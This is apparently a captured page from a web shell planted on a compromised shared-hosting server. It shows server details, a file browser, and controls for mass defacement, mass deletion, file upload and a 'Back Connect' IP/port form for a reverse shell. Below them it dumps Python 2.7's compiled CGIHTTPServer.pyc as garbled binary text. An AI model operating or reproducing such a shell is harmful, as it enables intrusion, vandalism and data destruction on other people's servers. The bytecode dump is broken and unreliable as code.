Linux premium216.web-hosting.com 4.18.0-513.18.1.lve.el8.x86_64 #1 SMP Thu Feb 22 12:55:50 UTC 2024 x86_64
LiteSpeed
66.29.141.148 | Your IP: 3.145.8.139
Cant read [ /etc/named.conf ]
[
drwxr-xr-x
]
/
proc
/
thread-self
/
root
/
lib64
/
python2.7
/
Submit
Home
Upload
Mass Deface
Mass Delete
Back Connect
Notify
File Uploader
Upload
File Name
File Content
Create
Folder Name
Create
Directory
File Name
File Content
Submit
Directory
File Name
Submit
Ip
Port
Submit
Nickname
Team
Website
Submit
CGIHTTPServer.pyc
� zfc @ s� d Z d Z d g Z d d l Z d d l Z d d l Z d d l Z d d l Z d d l Z d d l Z d e j f d � � YZ d � Z e a d � Z d � Z e e j d � Z e d k r� e � n d S( s� CGI-savvy HTTP Server. This module builds on SimpleHTTPServer by implementing GET and POST requests to cgi-bin scripts. If the os.fork() function is not present (e.g. on Windows), os.popen2() is used as a fallback, with slightly altered semantics; if that function is not present either (e.g. on Macintosh), only Python scripts are supported, and they are executed by the current process. In all cases, the implementation is intentionally naive -- all requests are executed sychronously. SECURITY WARNING: DON'T USE THIS CODE UNLESS YOU ARE INSIDE A FIREWALL -- it may execute arbitrary Python code or external programs. Note that status code 200 is sent prior to execution of a CGI script, so scripts cannot send other status codes such as 302 (redirect). s 0.4t CGIHTTPRequestHandleri����Nc B s� e Z d Z e e d � Z e e d � Z e e d � Z d Z d � Z d � Z d � Z d d g Z d � Z d � Z d � Z RS( s� Complete HTTP server with GET, HEAD and POST commands. GET and HEAD also support running CGI scripts. The POST command is *only* implemented for CGI scripts. t forkt popen2t popen3i c C s- | j � r | j � n | j d d � d S( sR Serve a POST request. This is only implemented for CGI scripts. i� s Can only POST to CGI scriptsN( t is_cgit run_cgit send_error( t self( ( s% /usr/lib64/python2.7/CGIHTTPServer.pyt do_POST6 s c C s* | j � r | j � St j j | � Sd S( s- Version of send_head that support CGI scriptsN( R R t SimpleHTTPServert SimpleHTTPRequestHandlert send_head( R ( ( s% /usr/lib64/python2.7/CGIHTTPServer.pyR B s c C s` t | j � } | j d d � } | | | | d } } | | j k r\ | | f | _ t St S( s2 Test whether self.path corresponds to a CGI script. Returns True and updates the cgi_info attribute to the tuple (dir, rest) if self.path requires running a CGI script. Returns False otherwise. If any exception is raised, the caller should assume that self.path was rejected as invalid and act accordingly. The default implementation tests whether the normalized url path begins with one of the strings in self.cgi_directories (and the next character is a '/' or the end of the string). t /i ( t _url_collapse_patht patht findt cgi_directoriest cgi_infot Truet False( R t collapsed_patht dir_sept headt tail( ( s% /usr/lib64/python2.7/CGIHTTPServer.pyR I s s /cgi-bins /htbinc C s t | � S( s1 Test whether argument path is an executable file.( t executable( R R ( ( s% /usr/lib64/python2.7/CGIHTTPServer.pyt is_executablea s c C s( t j j | � \ } } | j � d k S( s. Test whether argument path is a Python script.s .pys .pyw( s .pys .pyw( t osR t splitextt lower( R R R R ( ( s% /usr/lib64/python2.7/CGIHTTPServer.pyt is_pythone s c ) C s� | j \ } } | d | } | j d t | � d � } xv | d k r� | | } | | d } | j | � } t j j | � r� | | } } | j d t | � d � } q<